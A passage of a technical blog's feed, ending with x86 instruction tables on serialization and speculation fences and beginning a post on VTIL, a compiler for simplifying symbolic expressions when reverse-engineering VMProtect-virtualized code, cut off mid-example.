&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f7990&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fe7fc&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;73&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Contrary to popular belief &lt;code&gt;mov cr2, reg&lt;/code&gt; is not serializing.&lt;/p&gt;
&lt;table class="isa-table"&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index&lt;/th&gt;&lt;th&gt;decoding&lt;/th&gt;&lt;th&gt;mits&lt;/th&gt;&lt;th&gt;ms&lt;/th&gt;&lt;th&gt;serializing&lt;/th&gt;&lt;th&gt;speculationFence&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2090&lt;/td&gt;
&lt;td class="dec"&gt;mov rax, cr2&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2098&lt;/td&gt;
&lt;td class="dec"&gt;mov rax, cr3&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2080&lt;/td&gt;
&lt;td class="dec"&gt;mov rax, cr0&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;0f2290&lt;/td&gt;
&lt;td class="dec"&gt;mov cr2, rax&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Not serializing — only a speculation fence"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2298&lt;/td&gt;
&lt;td class="dec"&gt;mov cr3, rax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;161&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2299&lt;/td&gt;
&lt;td class="dec"&gt;mov cr3, rcx&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;151&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f229b&lt;/td&gt;
&lt;td class="dec"&gt;mov cr3, rbx&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;155&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2280&lt;/td&gt;
&lt;td class="dec"&gt;mov cr0, rax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2281&lt;/td&gt;
&lt;td class="dec"&gt;mov cr0, rcx&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;153&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f22a0&lt;/td&gt;
&lt;td class="dec"&gt;mov cr4, rax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f22a1&lt;/td&gt;
&lt;td class="dec"&gt;mov cr4, rcx&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;120&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f22a4&lt;/td&gt;
&lt;td class="dec"&gt;mov cr4, rsp&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;104&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;660f22a4&lt;/td&gt;
&lt;td class="dec"&gt;mov cr4, rsp&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f20f22a4&lt;/td&gt;
&lt;td class="dec"&gt;mov cr4, rsp&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f22a4&lt;/td&gt;
&lt;td class="dec"&gt;mov cr4, rsp&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Despite lacking the CPL check of &lt;code&gt;int imm8&lt;/code&gt;, &lt;code&gt;int1&lt;/code&gt; has more logic in the microcode.&lt;/p&gt;
&lt;table class="isa-table"&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index&lt;/th&gt;&lt;th&gt;decoding&lt;/th&gt;&lt;th&gt;mits&lt;/th&gt;&lt;th&gt;ms&lt;/th&gt;&lt;th&gt;serializing&lt;/th&gt;&lt;th&gt;speculationFence&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cc&lt;/td&gt;
&lt;td class="dec"&gt;int3&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;94&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cd90&lt;/td&gt;
&lt;td class="dec"&gt;int 0x90&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f1&lt;/td&gt;
&lt;td class="dec"&gt;int1&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;112&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="More MS logic despite no CPL check"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;mov ss&lt;/code&gt; is a speculation fence whereas &lt;code&gt;cli&lt;/code&gt; isn&amp;rsquo;t. &lt;code&gt;lss&lt;/code&gt; is a speculation fence whereas &lt;code&gt;lgs&lt;/code&gt; isn&amp;rsquo;t.&lt;/p&gt;
&lt;table class="isa-table"&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index&lt;/th&gt;&lt;th&gt;decoding&lt;/th&gt;&lt;th&gt;mits&lt;/th&gt;&lt;th&gt;ms&lt;/th&gt;&lt;th&gt;serializing&lt;/th&gt;&lt;th&gt;speculationFence&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt; &lt;td class="idx"&gt;8890&lt;/td&gt;
&lt;td class="dec"&gt;mov byte ptr [rax-0x6f6f6f70], dl&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;8990&lt;/td&gt;
&lt;td class="dec"&gt;mov dword ptr [rax-0x6f6f6f70], edx&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;668890&lt;/td&gt;
&lt;td class="dec"&gt;mov byte ptr [rax-0x6f6f6f70], dl&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;8a90&lt;/td&gt;
&lt;td class="dec"&gt;mov dl, byte ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;8b90&lt;/td&gt;
&lt;td class="dec"&gt;mov edx, dword ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;8c90&lt;/td&gt;
&lt;td class="dec"&gt;mov word ptr [rax-0x6f6f6f70], ss&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;8e90&lt;/td&gt;
&lt;td class="dec"&gt;mov ss, word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Speculation fence"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;fa&lt;/td&gt;
&lt;td class="dec"&gt;cli&lt;/td&gt;
&lt;td&gt;56&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;0fb290&lt;/td&gt;
&lt;td class="dec"&gt;lss edx, ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Speculation fence"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0fb590&lt;/td&gt;
&lt;td class="dec"&gt;lgs edx, ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;</description></item><item><title>Writing an optimizing IL compiler, for dummies, by a dummy: 0x1 Symbolic Expressions</title><link>https://blog.can.ac/2020/04/11/writing-an-optimizing-il-compiler-for-dummies-by-a-dummy/</link><pubDate>Sat, 11 Apr 2020 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2020/04/11/writing-an-optimizing-il-compiler-for-dummies-by-a-dummy/</guid><description>&lt;p&gt;&lt;em&gt;Before I begin this series of blog posts, I would like to add a small disclaimer. I have no prior experience or academic knowledge when it comes to compiler development so I might not use the correct jargon or state of the art algorithm, but nonetheless, I wanted to share my journey working on VTIL which is a project I started aiming to make the translation of a virtual machine architecture &amp;ndash;e.g. VMProtect&amp;ndash; into x86-64 easier. You will be able to find the source code for most of the things I will mention &lt;a href="https://github.com/vtil-project"&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="0x0-why"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; Why?&lt;/h2&gt;
&lt;p&gt;I started this journey with one single goal, reverse engineering VMProtect, mostly because I was sick and tired of every so-called security company buying this product, which is priced at an astonishing 250$, slapping it on their &amp;ldquo;product&amp;rdquo;, and calling it a day since no one will bother checking it. Now the initial reversal took roughly 36 hours, which wasn&amp;rsquo;t so bad, but what came after that was a month(+) long journey of optimizing it back to x86-64 code so I could use the output with common analysis tools. Surprise surprise, IDA turns out to be not as good at optimizations as I thought. Let alone failing to group a simple combination of operators &lt;code&gt;~((~x&amp;amp;~x)+y)&amp;amp;~((~x&amp;amp;~x)+y =&amp;gt; ~(~x+y) =&amp;gt; x-y&lt;/code&gt;, it failed on me for the &lt;a href="images/oVNdZwK.webp"&gt;simplest&lt;/a&gt; things, as it &lt;a href="images/m2fZp3m_d.webp"&gt;usually&lt;/a&gt; does.&lt;/p&gt;
&lt;p&gt;I did not want to use LLVM because it didn&amp;rsquo;t seem like the right tool for the job (translation in specific and not optimization obviously) &lt;em&gt;(and because I&amp;rsquo;m a stubborn fan of reinventing the wheel)&lt;/em&gt;, and I did not want to use Z3 because the API was not so appealing and I kept getting told that it was not that good at simplification, which lead to me deciding to develop an entire toolchain with its own instruction set, expression simplifier, and optimizing compiler designed around binary translation. I&amp;rsquo;ll start this series with symbolic expressions since that&amp;rsquo;s where most of the optimization logic boils down to.&lt;/p&gt;
&lt;h2 id="0x1-symbolic-expressions"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; Symbolic Expressions?&lt;/h2&gt;
&lt;p&gt;Now what is a symbolic expression really and what are we using them for? VTIL uses symbolic expressions to describe the value a register or a memory location holds after the execution of a certain instruction, expressed in a static-single-assignment like form by tagging the operands with the source virtual instruction pointer, &lt;code&gt;VIP&lt;/code&gt;, to compensate for the non-SSA ISA VTIL has.&lt;/p&gt;
&lt;p&gt;This is useful for many reasons such as exploring the virtual-machine&amp;rsquo;s control-flow since you have to resolve the jump destination to continue processing the virtual instruction stream, producing an output that does not immediately make IDA suicide or performing basically any kind of bitwise or arithmetic optimization to clean up the obfuscated code.&lt;/p&gt;
&lt;p&gt;Generating one can be done with ease from even a non-SSA architecture such as the one we use for VTIL. Consider the following basic block instance:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;movq&lt;/span&gt; &lt;span class="no"&gt;t2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;t0&lt;/span&gt; &lt;span class="c1"&gt;| mov r8, rax
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;orq&lt;/span&gt; &lt;span class="no"&gt;t2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;t1&lt;/span&gt; &lt;span class="c1"&gt;| or r8, rcx
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;movq&lt;/span&gt; &lt;span class="no"&gt;t3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;t1&lt;/span&gt; &lt;span class="c1"&gt;| mov r9, rcx
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;andq&lt;/span&gt; &lt;span class="no"&gt;t3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;t0&lt;/span&gt; &lt;span class="c1"&gt;| and r9, rax
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;notq&lt;/span&gt; &lt;span class="no"&gt;t3&lt;/span&gt; &lt;span class="c1"&gt;| not r9
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;andq&lt;/span&gt; &lt;span class="no"&gt;t3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;t2&lt;/span&gt; &lt;span class="c1"&gt;| and r9, r8&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;I&amp;rsquo;ve written the &amp;ldquo;equivalent&amp;rdquo; routine in&lt;/em&gt; &lt;em&gt;x86-64 on the right side just to clarify what each VTIL instruction translates into.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s try to express the value of &lt;code&gt;t3&lt;/code&gt; after the whole block is executed. Reading the stream backward, &lt;code&gt;t3&lt;/code&gt; is equal to &lt;code&gt;(t3@6+t2@2)&lt;/code&gt;, &lt;code&gt;t3@6&lt;/code&gt; is equal to &lt;code&gt;~t3@5&lt;/code&gt;, which is &lt;code&gt;~(t3@4&amp;amp;t0)&lt;/code&gt;, which is &lt;code&gt;~(t1@0&amp;amp;t0@0)&lt;/code&gt;, and so on. Following the same logic for the whole expression, we get &lt;code&gt;(t0|t1)&amp;amp;~(t0&amp;amp;t1)&lt;/code&gt;. To put it simply, you trace it back the entire routine until you hit an instruction you cannot resolve the result of, or reach the end of the block. This, of course, gets harder when you start implementing cross-block optimization, especially with loops and conditional jumps, or partial data read/write, but they are out of the scope of this post. (I will be explaining all quirks of it in another post, hopefully, this week along with a bunch of data optimization techniques.)&lt;/p&gt;
&lt;p&gt;Now that we got the gist of generating one, let&amp;rsquo;s try simplifying it. Simplifying an expression such as this is weird enough, very easy to do by head since we do this process almost automatically, but hard to describe how and why to a computer since we do &amp;ldquo;post-mortem&amp;rdquo; analysis when explaining our steps and start saying &amp;ldquo;Well x was y so I did this then I did this and here&amp;rsquo;s the result&amp;rdquo;, which is never easy enough to generalize to &lt;em&gt;any&lt;/em&gt; expression. This has always been the reverse of my experience with computers in general so I personally find this task very, very interesting.&lt;/p&gt;
&lt;p&gt;Since I have apparently skipped middle school maths and jumped to calculus straight and am incapable of describing operator properties in a formal way, we&amp;rsquo;ll &lt;em&gt;reverse engineer&lt;/em&gt; a human brain instead. When I saw this expression, I started reading from the beginning, skipped to the operator noting the left-hand side operand, saw a paranthesis so started reading it in the same way until the whole expression is parsed. This kind of parsing reminds me of a tree so I&amp;rsquo;m going to make the assumption that easiest way to represent these expressions is by using a tree.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img src="images/1.webp" alt=""&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;&lt;code&gt;(t0|t1)&amp;amp;~(t0&amp;amp;t1)&lt;/code&gt; in tree format.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Try simplifying it now noting your actions as you go. As a fellow human being, I skipped &lt;code&gt;LHS&lt;/code&gt;, and started following &lt;code&gt;[&amp;amp;].RHS&lt;/code&gt;, repeated the same thing, following &lt;code&gt;[~&amp;amp;].RHS&lt;/code&gt;, since both operands were unknown variables to me, I jumped back to &lt;code&gt;[&amp;amp;].LHS&lt;/code&gt;, and then &lt;code&gt;[|].RHS&lt;/code&gt; into&lt;code&gt;[|].LHS&lt;/code&gt; both of which I skipped again since operands were unknown again. Now I find myself trying to understand what it really does, one side of the &lt;code&gt;AND&lt;/code&gt; is taking &lt;code&gt;OR&lt;/code&gt; of both variables, which means at least one of them must be set (at boolean level) to have an outcome of one, and other side is taking &lt;code&gt;NOT AND&lt;/code&gt;, which means they can&amp;rsquo;t be set at the same time, so I&amp;rsquo;ll write down &lt;code&gt;t0^t1&lt;/code&gt; and be done with it, tada, all of this optimized into a simple &lt;code&gt;xorq&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That was a rather horrifying experience if you ask me since I just randomly came up with rules which I could not possibly list if you asked me to (correction: &lt;a href="https://github.com/vtil-project/VTIL-/blob/master/VTIL-SymEx/simplifier/directives.hpp"&gt;apparently I could&lt;/a&gt;). But the general steps seem to be recursively simplifying the operands and trying to merge them together as a part of this simplification process if we failed to transform the whole tree.&lt;/p&gt;
&lt;h2 id="0x2-small-steps-structure-design"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; Small steps, structure design.&lt;/h2&gt;
&lt;p&gt;First of all, we know that the simplification process is mostly recursive pattern matching, giving it a try, and repeating, with certain rules to make it more interesting. You really don&amp;rsquo;t want to use a tree that does deep-copies or any copies at all by default in this situation if you do not want to stand in front of your computer for 30 minutes waiting for the simplification, so I started by writing a simple copy-on-write reference implementation making sure I do not copy anything at all if possible, which can be found &lt;a href="https://github.com/vtil-project/VTIL-/blob/master/VTIL-Common/util/copy_on_write.hpp"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Another thing you want to absolutely avoid is repeated calculations, so I will also add a hash to the expression structure which will be assigned at the constructor of the expression in a &lt;code&gt;O(1)&lt;/code&gt; way that will not require the traversal of the tree and a trivially implemented lookup map to serve as the cache of the expression simplifier. Since VTIL is thread-safe and we do not want a global lock to impair the performance with most likely no benefit&amp;ndash;since the same temporaries will not be used across threads&amp;ndash;this lookup map will be declared &lt;code&gt;thread-local&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The structure looks something like this in my head so far:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;expression&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;??&lt;/span&gt;&lt;span class="n"&gt;_t&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;simplified&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;operator_id&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;shared_reference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lhs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Will be null for unary operations.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;shared_reference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;rhs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I already have a VMProtected sample lifted to VTIL, so I just went ahead and generated an expression for the branching destination of a &amp;ldquo;&lt;em&gt;simple&lt;/em&gt;&amp;rdquo; Jcc to use as a sample across our tests:&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Hey! Click to expand this cute little JCC :)&lt;/strong&gt;&lt;/summary&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;((~[(~[(~[(((~[-0x41]&amp;amp;~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 